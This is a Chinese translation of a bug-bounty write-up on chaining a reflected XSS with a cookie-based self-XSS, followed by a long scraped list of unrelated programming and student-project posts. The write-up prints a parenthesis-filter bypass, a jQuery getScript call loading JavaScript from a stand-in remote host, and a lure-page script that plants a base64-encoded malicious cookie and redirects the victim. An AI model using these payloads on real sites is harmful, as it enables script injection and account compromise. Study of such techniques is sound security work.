niexinming
niexinming

从Self-XSS到可利用的xss

翻译自：https://medium.com/@0xHyde/cookie-based-self-xss-to-good-xss-d0d1ca16dd0e
翻译：聂心明

上个月我收到来自Synack团队的私有赏金任务，最后我在网站中发现了一个反射型xss。因为这是私有赏金任务，我不能在writeup中提到目标的信息。但是我会演示我是怎样绕过各种限制的。我最后得到了$272，因为我没有证明我能访问dom对象。因为网站限制了圆括号，所以我不能访问到dom，并且我不能执行像下面这样的payload：

alert(document.domain)

正常情况下，上面的JavaScript代码执行后会有下面截图中的效果

从Self-XSS到可利用的xss_第1张图片

alert`document.domain`

因为圆括号被过滤，我就用`字符来执行我的函数。不幸的是，当下面的函数被执行的时候，你不会访问dom资源。下面的截图是一个简单的例子。
从Self-XSS到可利用的xss_第2张图片
我提交了这个报告，并且获得了$272，可是如果我告诉他们我能实现dom的访问，我就能额外获得一份赏金，所以很自然我开始了这一项挑战。我跟Brutelogic (Brute)说了这件事，然后向他咨询了一些绕过技术，然后他告诉我可以参考他的xss备忘录。当我学习他的文档时，我发现下面的这段payload：

setTimeout`alert\x28document.domain\x29`

这个payload能够实现我需要的效果，就是随意访问dom。我重新提交了新的payload，这个payload展示了我可以随意访问网页的dom资源，然后我获得了额外的60块钱。但是我没有就此停手。早些时候，我在漏洞收取范围内的子域名下发现一个Self-XSS。cookie中有一个被base64编码了的参数，这个参数可导致xss。典型的基于cookie的xss，但是它没法被利用，除非攻击者能给客户浏览器设置cookie。幸运的是，我现在手上有一个xss了，就是我上面提到的。可是我的payload不能太长，否则就会失败。我知道，如果我想执行一些有攻击力的payload的话，那我必须嵌入外部的JavaScript文件，因为即使是最简单的payload都会因为太长而不会执行成功。我也似乎不能嵌入包含payload的外部JavaScript文件，以用来设置cookie的属性。因为它还是太长了。但是，我注意漏洞页面用了jQuery，这就可以让我用一些足够短的语句来嵌入脚本文件。下面是我用到的代码：

$.getScript`//xss.example.com/xss.js`

现在，我只需要用JavaScript代码把payload base64编码，然后放入cookie中的那个有漏洞的参数中就可以了。下面就是我用到的代码：

$('html').html('
Click the button below to continue.
');
function setCookieRedir(){
        document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
	window.location = "https://example.com/vulnerablePage.html";
}

上面的代码会把网页的上半部分文本替换成”点击下面这个按钮就可以继续“，下面会带有一个按钮。当受害者点击这个按钮时，js代码就会设置那个有漏洞的cookie参数为下面的字符串

LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v

上面的字符串经过base64解码之后就是下面的代码，它就会在有漏洞的页面上弹窗

-->

你可能感兴趣的:(外文翻译)

  • 程序是如何生成的-以c语言为例
    一，序言从代码到能跑的程序，整个过程就像“把外文翻译成母语，再组装成能直接用的东西”，一步步来更清楚：源代码（程序员写的代码，如C语言文件）↓预处理（处理#开头的命令，如#include、#define）↓编译（把预处理后的代码转成汇编语言）↓汇编（把汇编语言转成二进制机器码，生成目标文件，如main.o）↓链接（合并多个目标文件和库文件，解决函数/变量地址问题）↓可执行文件（生成能直接运行的文件
  • 基于matlab的加热炉设计,基于MATLAB管式加热炉的模糊控制系统设计(附程序) weixin_39567169 基于matlab的加热炉设计
    基于MATLAB管式加热炉的模糊控制系统设计(附程序)(课题申报表,任务书,开题报告,中期检查表,外文翻译,论文25000字,程序,答辩PPT)摘要管式加热炉是石油炼制、石油化工和化学、化纤工业装置中所使用的具有提供热源的火力加热设备，加热炉内安装有无缝钢管连接而成的管排，被加热物质在管内流动，被加热到工艺要求的温度。将物料加热到工艺要求温度是加热炉控制系统的基本控制要求，但针对目前存在的能源危机
  • 终端滑模matlab程序,机器人轨迹跟踪控制方法研究(含MATLAB程序) 得陇而望蜀者 终端滑模matlab程序
    机器人轨迹跟踪控制方法研究(含MATLAB程序)(课题申报表,任务书,开题报告,中期检查表,外文翻译,论文15300字,程序,答辩PPT)摘要机器人是一类复杂的、具有不确定性的、多输入多输出非线性时变系统。滑模变结构控制对系统参数和外部扰动等不确定性具有不变性，因此非常适合于机器人的控制。本文主要研究了机器人的滑模轨迹跟踪控制。首先简要介绍机器人轨迹跟踪方法和滑模控制的基本原理，然后着重阐述奇异终
  • 计算机毕业生设计网站有那些比较靠谱的？ cm计算机毕业设计
    最后毕业的关键时候，我们写计算机毕业设计的时候，经常因为没有头绪，好的想法或者难以找到相关素材而焦急万分，有的时候，可能别人稍微给我们点意见，我们就能很快的完成自己的毕业设计。这里将会介绍，那些做计算机毕业设计很实用的网站。1六月雪毕业设计网毕业生设计论文网六月雪毕业设计网提供计算机毕业设计、计算机毕业论文,包括任务书,开题报告,文献综述,答辩稿ppt,外文翻译和程序源代码数据库等。1.githu
  • 真正的热爱不是“笔耕不辍” 狗屎的老婆
    笔耕不辍这个词，用在我身上，确实不太合适。上上周，周五去广州，周天就回来了，还翘了两天课，很幸运，老师没有点名。回来了就开始准备期中考试，还有师门研讨会。考完了期中考，还要从早坐到晚写论文，好不容易写完了论文，周末要上心理咨询课——满满当当两天课。好不容易新一周开始了，昨天去把护照拿了回来。今天开始毕业论文的外文翻译和框架构建。毕竟两篇毕业论文，压力不小。做不到“笔耕不辍”，也希望能偶尔“拜访‘！
  • [计算机毕设]基于java的mail邮件收发系统设计与实现(项目报告+开题报告+任务书+外文翻译+文献综述+答辩PPT) 毕业课程设计 毕业设计java课程设计powerpoint
    项目说明报告基于JavaMail的邮件收发系统电子邮件在当今社会中扮演了一个很重要的角色。越来越多的人在使用它。而且用它的人数势必会继续增加。本文介绍了Javamail邮件收发系统的开发背景，对国内外现有的多种成熟的电子邮件系统进行分析和比较，总结出它们的优缺点，对Javamail技术进行深入研究，提出并设计实现了基于Javamail的邮件收发系统。本系统利用SMTP协议和POP协议从底层进行开发
  • 18.3.6【倒计时291】关于近日的学习与动漫《银魂》杂谈 小玉哥
    打卡今日完成：英语外刊精听复习0.5h（边走边听）外文翻译0.5h听讲解+笔记（两遍）1.5h知识卡片+问答15min专业课信号检测论听课1.5h看书20min（没咋看进去）睡前默写0.5h慢跑2.03公里17min图片发自App今日目标信号检测论看参考书×其余√关于英语阅读，我每篇最少有一两个句子因理解错误的，原因多样：句子结构没有抓出来，不懂其表达中的文化，词组词汇理解错误，文化和词组词汇一下
  • 基于Javamail的邮件收发系统（系统+论文+开题报告+任务书+外文翻译+文献综述+答辩PPT） 云炬网络 计算机毕业设计powerpointeclipsejava
    毕业设计（论文）（20届）论文（设计）题目基于Javamail的邮件收发系统作者二级学院、专业班级指导教师（职称）论文字数论文完成时间20年月日基于JavaMail的邮件收发系统摘要电子邮件在当今社会中扮演了一个很重要的角色。越来越多的人在使用它。而且用它的人数势必会继续增加。本文介绍了Javamail邮件收发系统的开发背景，对国内外现有的多种成熟的电子邮件系统进行分析和比较，总结出它们的优缺点，
  • Web of Science+Zotero轻松搞定批量参考文献插入 小汪Waud
    本期的推文缘于最近毕业的中期检查，需要提交一个外文翻译。经过精心挑选，我选中了Currentopinioninbiotechnology的一篇综述，翻译到参考文献部分，心想：这不直接复制粘贴上去？我点开参考文献一看，怎么是这个鬼样子？引用就引用，做什么标注。因此我突然想到，有没有什么办法可以批量导入参考文献呢？经过一番探索，我发现WebofScience+Zotero就可以做到。WebofScie
  • 487计算机毕业设计 vnmhlapp 计算机毕业设计计算机论文毕业设计
    企业人事管理系统(ASP)(开题报告,任务书,毕业论文,程序,中期报告).rarhttp://dl.vmall.com/c0y40pwvb5ASP网络购物系统(电子商城)(ASP)(开题报告,任务书,毕业论文,程序,中期报告).rarhttp://dl.vmall.com/c0weaoulbf非主农作物登记系统(JSP)(程序,毕业论文,外文翻译,文献综述).rarhttp://dl.vmall.
  • 2020-05-20 余生夜未眠
    也许你迷茫◎看前方◎看远方我是迷茫者。对自己迷茫，对考试迷茫，对恋爱迷茫，甚至对于我经历的过去细细想来也有少许迷茫。也许你从懵懂无知到现在满身沧桑，心里有过好多目标，世人都美其名曰“梦想”。但这些在自己闲暇之时，周身无人之境默默在心中定下的梦，甚至还没有见到生活的利刃，就已经被自己否定。可能前一天睡前还想着以后要当个外文翻译，无论生活还是工作总显得格调挺高。醒来满满的信心就被一张不及格的英语试卷打
  • 荐影｜《万箭穿心》：不经历生活与磨难，怎么学会放手？ 疯华绝代的四喜
    图片选自网络今天推荐的这部电影名字叫《万箭穿心》，外文翻译为“FengShui”。它围绕着在90年代的武汉，一个普通三口之家的故事。故事中男主人马学武是一家国企厂办主任，妻子马宝莉是一名小贩，儿子小宝正在读小学。故事的开篇便是炎热的夏夜，妻子求欢，丈夫以明天搬家为由拒绝。镜头慢慢到第二天，搬家队的人在楼下与妻子争论想加钱，丈夫在楼上偷看，不敢出声。而后到了新家，丈夫想要犒劳搬家队，男人拿出烟又让孩
  • 倒排索引❌ 反向索引✅ 阿迪不想上班 经验分享经验分享
    一直不懂倒排索引的意思，看了知乎人家的介绍才懂。Invertedindex中式翻译惹的祸。一般的数据库以文档id为索引，文档内容为记录。而反向索引是以文档内容为索引，文档id为记录，从而根据单词或内容找到文档位置。反向索引是搜索引擎的基本算法，后面学一学～从这个例子可见有些外文翻译不准有多坑人。参考链接：https://www.zhihu.com/question/23202010
  • 大规模的I/O流中有效识别大数据并增强时间局部性 张乂卓 存储大数据热数据算法
    一篇热数据识别存储外文翻译，本文主要在讲思想原文题目：HDCat:EffectivelyIdentifyingHotDatainLarge-scaleI/OStreamswithEnhancedTemporalLocality翻译：大规模的I/O流中有效识别热数据并增强时间局部性外文网址：http://dsc.jnu.edu.cn/paper/2015/ICA3PPCH.pdf本文主要讲里面的具体
  • 读书分享 安心1978
    了解问题与受督者的互动，并对焦之。通过和受督导者的互动，了解她想要的是什么？她需要解决什么样的问题？当这些问题呈现之后。就要锁定目标深刻的，具体的细化的聊。这和sfBT咨询师与来访者互动的时候是一样的，先找话题，再有主题，再有目标，慢慢的聊。建构解决之道，这本书应该是外文翻译来的，再加上台湾地方的语言结构和我们大陆还是有些不同的。所以每次读这本书的时候，都会有焦躁之感，因为觉得很生涩，很难懂，绕来
  • JAVA实现校园失物招领管理系统 开源 桑程程 JAVA大作业java开源开发语言
    目录一、摘要1.1项目介绍1.2项目录屏二、研究内容2.1招领管理模块2.2寻物管理模块2.3系统公告模块2.4感谢留言模块三、界面展示3.1登录注册3.2招领模块3.3寻物模块3.4公告模块3.5感谢留言模块3.6系统基础模块四、免责说明一、摘要1.1项目介绍基于Vue+SpringBoot+MySQL的校园失物招领管理系统，包含项目全部源码、数据库脚本、功能文档、开题报告、文献综述、外文翻译、
  • 基于单片机智能交通灯控制系统设计外文文献_【设计图文】单片机实现的步进电机控制系统（开题报告+论文+文献综述+外文翻译+DWG图纸）... weixin_39609573 软件的接口设计图
    点击标题上方“微Life梦Heart阅读”，关注。设计图文626摘要【快速浏览摘要】单片微型计算机简称单片机。它是把组成微型计算机的各功能部件：中央处理器、CPU、随机存取存储器RAM、只读存储器ROM、I/O接口电路、定时器/计数器以及串行通信接口等制作在一块集成芯片中，构成一个完整的微型计算机。单片机主要应用于控制领域，由于其具有可靠性高、体积小、价格低、易于产品化等特点，因而在智能仪器仪表、
  • 用计算机设计电路图,基于51单片机的计算器设计(含电路图,程序) weixin_39545895 用计算机设计电路图
    基于51单片机的计算器设计(含电路图,程序)(课题申报表,任务书,开题报告,中期检查表,外文翻译,论文11200字,程序,答辩PPT)摘要计算器一般是指“电子计算器”,能进行数学运算的手持机器，拥有集成电路芯片，结构简单，功能较弱，但由于它使用方便、操作简单、价格低廉，因而广泛运用于商业交易中，也是必备的办公用品。近年来随着科技的飞速发展，单片机的应用正在不断深入，同时带动传统控制检测技术日益更新
  • 读《少年维特之烦恼》——漫谈维特 秋之田园
    花了两个半天，把《少年维特之烦恼》读完了，阅读过程还是有些疲惫的，原因有二，一则因为小说为书信体小说，故事情节不多，大部分都是心理描写，不迎合我这种“观众”的心态；二则因为外文翻译过来的小说，难免有些文化上的差异，阅读的流畅性并不算高。最初知道《少年维特之烦恼》一书源自于一句话——“哪个少男不钟情，哪个少女不怀春”。我初中班主任在课堂上很多次说过这句话，告诉我们，年轻时代有爱慕的对象是正常的，可每
  • python爬虫开发数据库设计_基于python开源爬虫框架scrapy的租房信息爬取系统毕业论文+任务书+外文翻译及原文+答辩PPT+项目源码及数据库... weixin_39945792 python爬虫开发数据库设计
    摘要时代在发展，技术在进步，互联网改变了全世界，各行各业都在这个互联网时代寻求自身的增长点，人们的日常生活也越来越离不开互联网。以租房为例，线下租房行业持续遭到冲击，越来越多的年轻人选择在互联网上挑选房源。然而网上信息混杂，数据来源众多，如何提升租房用户体验就成了一个值得探讨的问题。本文以此为研究方向，设计并实现了一个基于python开源爬虫框架scrapy的租房信息爬取系统，爬取互联网上多个含有
  • 浅谈通识教育 冰拿铁Jon
    我曾经在自己的读书笔记里写过这样一段文字：如果一个观点被三本不同作者的书所提及，那么足以证明这个观点的正确性和重要性。现在看来“通识教育”几乎就是这样一个观点，它已经出现在我读过两本不同作者的书中。“通识教育”它有很多名称，诸如“博雅教育”“素质教育”“人文教育”等等，由于外文翻译的缘故出现了多种翻译版本，但无论叫什么名字，都不影响它本身的含义。吴军博士在《吴军阅读与写作讲义》一书中称它为“通识教
  • 20万套机械、模具、数控、工艺夹具、减速器、机器人、液压系统、车辆工程、PLC 、单片机……毕业设计、课程设计、说明书 论文、二维图、三维图、开题报告、任务书、ppt、文献翻译……分享……持续更新！ 设计交流学习 机械模具数控夹具车辆PLC/设计自动化文档资料制造设计规范
    部分清单如下：自动立体车库结构设计（说明书CAD图纸开题报告任务书外文翻译……）玉米秸秆粉碎机毕业设计论文车床主轴箱课程设计R175柴油机机体自动加工线上多功能液压机械手设计（说明书+CAD图纸+solidworks+开题报告+任务书……）液压上料机械手（论文+CAD图纸+SolidWorks三维图+动作仿真+开题报告+任务书+文献……）消防车登高平台液压缸设计（设计说明书+CAD装配图、零件图、
  • 译文水平 512song
    影响外国计算机书籍的优劣一个关键因素，是翻译水平。这点台湾计算机书籍除了一些术语，基本不存在隔阂，而大出版社的外文翻译也比较靠谱，但有些书籍翻译的怎么看都像是未人工校对的机器翻译作品。网上此类译文更是让人觉得疑惑。年初在网上看了一篇介绍vagrant的文章，有兴趣是因为看前面介绍是管理virtualbox虚拟机的，但接着到了实例，又说先建立一台虚拟机管理vagrant，顿时让我云里雾里，也就放下了
  • JavaWeb+JSP+SQL server学生学籍管理系统设计与实现(源代码+论文+开题报告+外文翻译+答辩PPT) 飞翔的佩奇 毕设项目javatomcatjspsqlserverweb毕业论文答辩
    需求分析本系统主要是针对各个高校的学生学籍进行管理，系统满足以下几点要求：系统安全性。由于此系统中的操作都是由用户操作的，所以对于用户的权限设置比较严格。对于数据库，设置了不同用户的权限，不同权限进入不同的界面，为了防止数据的并发现象的出现，数据的编辑必须由合法用户来操作，并且对于管理员来说，只允许对自己管理的信息进行编辑，无权对其他用户管理的信息进行编辑。系统内容的全面性。学生学籍管理系统不
  • 前端系统班 - 08. HTML (1) 诸葛战鹰
    说说简历网上简历简历最好挂在自己买的域名上，这样显得专业一点。简历模板在追波网（dribbble.com）搜索cv或resume关键字，或者在五百丁上买。简历内容必要的内容：个人信息：照片、姓名、性别、年龄、学校、所在城市、职位目标等；教育经历；工作经历；项目经验。可选的内容：开源代码，GitHub要经常使用；博客链接：多写博客，自己搭建的最好；外文翻译；他人评价；对公司业务的分析；没用的内容：自
  • 基于Stm32的宠物自动喂食装置（包含：：论文、代码、外文原文、外文翻译、手册、建模、答辩PPT、原理图等 ） sky J 代码相关宠物
    基于Stm32的宠物自动喂食装置目录基于Stm32的宠物自动喂食装置一、Solidworks建模部分装置外壳二、TLink物联网平台1.TLINK平台配置2.TLINK平台的功能（2）定时发送指令（3）自动报警三、Stm32控制部分1.整体流程图2.通过ESP8266连接TLINK平台3.控制舵机旋转本装置主要通过物联网技术实现随时通过手机远程操控喂食装置投食，并且也可用自己每天定时投放食物，同时
  • 2018-11-07写作练习 CUICUI_ac8d
    今天是充实的，因为我觉得有收获，有作为。发现了一本好书《写出我心》《writingdownthebones》一本令人舒服的文字一个有趣的灵魂一种新的方式去交流翻开小小的一本书，每页不多的文字，读起来不累，没有负担，因为也没有晦涩难懂的语言。虽然是外文翻译的，但是几乎没有翻译的痕迹，连每一首小诗，都翻译的很精美。作者是热爱禅道热爱写诗的人，所以书里也涉及到这些内容，我本来是不懂这些的，可是也没有感觉
  • 论文翻译利器：保留原文格式，专业领域选择翻译！ 掌桥科研专家
    今天给大家推荐一款很6的外文翻译利器，因为它很专业，所以翻译很强大——掌桥科研文档翻译。不知大家是否用过这款外文翻译利器，不用下载软件，在线上传文档翻译，由于掌桥科研文档翻译拥有专业划分（对应各领域专业），这样翻译出来更加的精准，且速度超快！1、支持多国语言该翻译利器支持多国语言互译，包括英法意德日俄西等国际主流语言。2、支持多种格式该翻译利器支持上传文档多种格式，包话PDF、DOC/DOCX、P
  • Vb+access工资管理系统(系统+答辩PPT+论文+开题报告+外文翻译) 技术宅小伙 sqlserverVBaccess大数据mysql
    工资管理系统用计算机管理企事业单位员工工资发放的一种计算机应用技术的创新,在计算机还未普及之前企事业单位的员工工资发放都是由财务管理人员来承担操作的.现在一般的企业都采用了信息化管理的方式即采用计算机作为工具的电子信息化的员工工资计算发放进行更有效的财务管理。工资管理系统是典型的信息管理系统(MIS),其开发主要包括后台数据库的建立和维护以及前端应用程序的开发两个方面。对于前者要求建立起数据一致性
  • 基于Java mail的邮件收发系统（系统+论文+开题报告+任务书+外文翻译+文献综述+答辩PPT） 技术宅小伙 网络java数据库大数据开发语言mysql
    电子邮件在当今社会中扮演了一个很重要的角色。越来越多的人在使用它。而且用它的人数势必会继续增加。本文介绍了Javamail邮件收发系统的开发背景，对国内外现有的多种成熟的电子邮件系统进行分析和比较，总结出它们的优缺点，对Javamail技术进行深入研究，提出并设计实现了基于Javamail的邮件收发系统。本系统利用SMTP协议和POP协议从底层进行开发，利用JavaMailAPI为收发邮件提供与协
  • 异常的核心类Throwable 无量 java源码异常处理exception
    java异常的核心是Throwable，其他的如Error和Exception都是继承的这个类 里面有个核心参数是detailMessage，记录异常信息，getMessage核心方法，获取这个参数的值，我们可以自己定义自己的异常类，去继承这个Exception就可以了，方法基本上，用父类的构造方法就OK，所以这么看异常是不是很easy package com.natsu;
  • mongoDB 游标（cursor） 实现分页 迭代 开窍的石头 mongodb
    上篇中我们讲了mongoDB 中的查询函数，现在我们讲mongo中如何做分页查询      如何声明一个游标        var mycursor = db.user.find({_id:{$lte:5}});       迭代显示游标数
  • MySQL数据库INNODB 表损坏修复处理过程 0624chenhong tomcatmysql
    最近mysql数据库经常死掉，用命令net stop mysql命令也无法停掉，关闭Tomcat的时候，出现Waiting for N instance(s) to be deallocated 信息。查了下，大概就是程序没有对数据库连接释放，导致Connection泄露了。因为用的是开元集成的平台，内部程序也不可能一下子给改掉的，就验证一下咯。启动Tomcat,用户登录系统，用netstat -
  • 剖析如何与设计人员沟通 不懂事的小屁孩 工作
    最近做图烦死了，不停的改图，改图……。烦，倒不是因为改，而是反反复复的改，人都会死。很多需求人员不知该如何与设计人员沟通，不明白如何使设计人员知道他所要的效果，结果只能是沟通变成了扯淡，改图变成了应付。 那应该如何与设计人员沟通呢？ 我认为设计人员与需求人员先天就存在语言障碍。对一个合格的设计人员来说，整天玩的都是点、线、面、配色，哪种构图看起来协调；哪种配色看起来合理心里跟明镜似的，
  • qq空间刷评论工具 换个号韩国红果果 JavaScript
    var a=document.getElementsByClassName('textinput'); var b=[]; for(var m=0;m<a.length;m++){ if(a[m].getAttribute('placeholder')!=null) b.push(a[m]) } var l
  • S2SH整合之session 灵静志远 springAOPstrutssession
    错误信息： Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'cartService': Scope 'session' is not active for the current thread; consider defining a scoped
  • xmp标签 a-john 标签
    今天在处理数据的显示上遇到一个问题： var html = '<li><div class="pl-nr"><span class="user-name">' + user + '</span>' + text + '</div></li>'; ulComme
  • Ajax的常用技巧（2）---实现Web页面中的级联菜单 aijuans Ajax
    在网络上显示数据，往往只显示数据中的一部分信息，如文章标题，产品名称等。如果浏览器要查看所有信息，只需点击相关链接即可。在web技术中，可以采用级联菜单完成上述操作。根据用户的选择，动态展开，并显示出对应选项子菜单的内容。 在传统的web实现方式中，一般是在页面初始化时动态获取到服务端数据库中对应的所有子菜单中的信息，放置到页面中对应的位置，然后再结合CSS层叠样式表动态控制对应子菜单的显示或者隐
  • 天-安-门，好高 atongyeye 情感
        我是85后，北漂一族，之前房租1100，因为租房合同到期，再续，房租就要涨150。最近网上新闻，地铁也要涨价。算了一下，涨价之后，每次坐地铁由原来2块变成6块。仅坐地铁费用，一个月就要涨200。内心苦痛。     晚上躺在床上一个人想了很久，很久。        我生在农
  • android 动画 百合不是茶 android透明度平移缩放旋转
    android的动画有两种  tween动画和Frame动画   tween动画;,透明度,缩放,旋转,平移效果   Animation   动画 AlphaAnimation 渐变透明度 RotateAnimation 画面旋转 ScaleAnimation 渐变尺寸缩放 TranslateAnimation 位置移动 Animation
  • 查看本机网络信息的cmd脚本 bijian1013 cmd
    @echo 您的用户名是：%USERDOMAIN%\%username%>"%userprofile%\网络参数.txt" @echo 您的机器名是：%COMPUTERNAME%>>"%userprofile%\网络参数.txt" @echo ___________________>>"%userprofile%\
  • plsql 清除登录过的用户 征客丶 plsql
    tools---preferences----logon history---history  把你想要删除的删除 -------------------------------------------------------------------- 若有其他凝问或文中有错误，请及时向我指出， 我好及时改正，同时也让我们一起进步。 email ： binary_spac
  • 【Pig一】Pig入门 bit1129 pig
    Pig安装 1.下载pig   wget http://mirror.bit.edu.cn/apache/pig/pig-0.14.0/pig-0.14.0.tar.gz   2. 解压配置环境变量      如果Pig使用Map/Reduce模式，那么需要在环境变量中，配置HADOOP_HOME环境变量   expor
  • Java 线程同步几种方式 BlueSkator volatilesynchronizedThredLocalReenTranLockConcurrent
    为何要使用同步？      java允许多线程并发控制，当多个线程同时操作一个可共享的资源变量时（如数据的增删改查），      将会导致数据不准确，相互之间产生冲突，因此加入同步锁以避免在该线程没有完成操作之前，被其他线程的调用，      从而保证了该变量的唯一性和准确性。 1.同步方法&
  • StringUtils判断字符串是否为空的方法（转帖） BreakingBad nullStringUtils“”
    转帖地址：http://www.cnblogs.com/shangxiaofei/p/4313111.html   public static boolean isEmpty(String str)   　　判断某字符串是否为空，为空的标准是 str== null  或 str.length()== 0  
  • 编程之美-分层遍历二叉树 bylijinnan java数据结构算法编程之美
    import java.util.ArrayList; import java.util.LinkedList; import java.util.List; public class LevelTraverseBinaryTree { /** * 编程之美 分层遍历二叉树 * 之前已经用队列实现过二叉树的层次遍历，但这次要求输出换行，因此要
  • jquery取值和ajax提交复习记录 chengxuyuancsdn jquery取值ajax提交
    // 取值 // alert($("input[name='username']").val()); // alert($("input[name='password']").val()); // alert($("input[name='sex']:checked").val()); // alert($("
  • 推荐国产工作流引擎嵌入式公式语法解析器-IK Expression comsci java应用服务器工作Excel嵌入式
    这个开源软件包是国内的一位高手自行研制开发的，正如他所说的一样，我觉得它可以使一个工作流引擎上一个台阶。。。。。。欢迎大家使用，并提出意见和建议。。。 ----------转帖--------------------------------------------------- IK Expression是一个开源的（OpenSource），可扩展的（Extensible），基于java语言
  • 关于系统中使用多个PropertyPlaceholderConfigurer的配置及PropertyOverrideConfigurer daizj spring
    1、PropertyPlaceholderConfigurer Spring中PropertyPlaceholderConfigurer这个类，它是用来解析Java Properties属性文件值，并提供在spring配置期间替换使用属性值。接下来让我们逐渐的深入其配置。 基本的使用方法是：(1) <bean id="propertyConfigurerForWZ&q
  • 二叉树:二叉搜索树 dieslrae 二叉树
        所谓二叉树,就是一个节点最多只能有两个子节点,而二叉搜索树就是一个经典并简单的二叉树.规则是一个节点的左子节点一定比自己小,右子节点一定大于等于自己(当然也可以反过来).在树基本平衡的时候插入,搜索和删除速度都很快,时间复杂度为O(logN).但是,如果插入的是有序的数据,那效率就会变成O(N),在这个时候,树其实变成了一个链表. tree代码:
  • C语言字符串函数大全 dcj3sjt126com cfunction
    C语言字符串函数大全     函数名: stpcpy 功 能: 拷贝一个字符串到另一个 用 法: char *stpcpy(char *destin, char *source); 程序例:   #include <stdio.h> #include <string.h>   int main
  • 友盟统计页面技巧 dcj3sjt126com 技巧
    在基类调用就可以了, 基类ViewController示例代码 -(void)viewWillAppear:(BOOL)animated { [super viewWillAppear:animated]; [MobClick beginLogPageView:[NSString stringWithFormat:@"%@",self.class]];
  • window下在同一台机器上安装多个版本jdk，修改环境变量不生效问题处理办法 flyvszhb javajdk
    window下在同一台机器上安装多个版本jdk，修改环境变量不生效问题处理办法 本机已经安装了jdk1.7，而比较早期的项目需要依赖jdk1.6，于是同时在本机安装了jdk1.6和jdk1.7. 安装jdk1.6前，执行java -version得到 C:\Users\liuxiang2>java -version java version "1.7.0_21&quo
  • Java在创建子类对象的同时会不会创建父类对象 happyqing java创建子类对象父类对象
      1.在thingking in java 的第四版第六章中明确的说了，子类对象中封装了父类对象，   2."When you create an object of the derived class, it contains within it a subobject of the base class. This subobject is the sam
  • 跟我学spring3 目录贴及电子书下载 jinnianshilongnian spring
        一、《跟我学spring3》电子书下载地址： 《跟我学spring3》  （1-7 和 8-13） http://jinnianshilongnian.iteye.com/blog/pdf     跟我学spring3系列 word原版 下载     二、 源代码下载 最新依
  • 第12章 Ajax（上） onestopweb Ajax
    index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/
  • BI and EIM 4.0 at a glance blueoxygen BO
    http://www.sap.com/corporate-en/press.epx?PressID=14787   有机会研究下EIM家族的两个新产品~~~~   New features of the 4.0 releases of BI and EIM solutions include: Real-time in-memory computing –
  • Java线程中yield与join方法的区别 tomcat_oracle java
    长期以来，多线程问题颇为受到面试官的青睐。虽然我个人认为我们当中很少有人能真正获得机会开发复杂的多线程应用(在过去的七年中，我得到了一个机会)，但是理解多线程对增加你的信心很有用。之前，我讨论了一个wait()和sleep()方法区别的问题，这一次，我将会讨论join()和yield()方法的区别。坦白的说，实际上我并没有用过其中任何一个方法，所以，如果你感觉有不恰当的地方，请提出讨论。 &nb
  • android Manifest.xml选项 阿尔萨斯 Manifest
    结构 继承关系 public final class Manifest extends Objectjava.lang.Objectandroid.Manifest 内部类 class Manifest.permission权限 class Manifest.permission_group权限组 构造函数 public Manifest () 详细 androi
  • Oracle实现类split函数的方 zhaoshijie oracle
    关键字：Oracle实现类split函数的方 项目里需要保存结构数据，批量传到后他进行保存，为了减小数据量，子集拼装的格式，使用存储过程进行保存。保存的过程中需要对数据解析。但是oracle没有Java中split类似的函数。从网上找了一个，也补全了一下。 CREATE OR REPLACE TYPE t_split_100 IS TABLE OF VARCHAR2(100); cr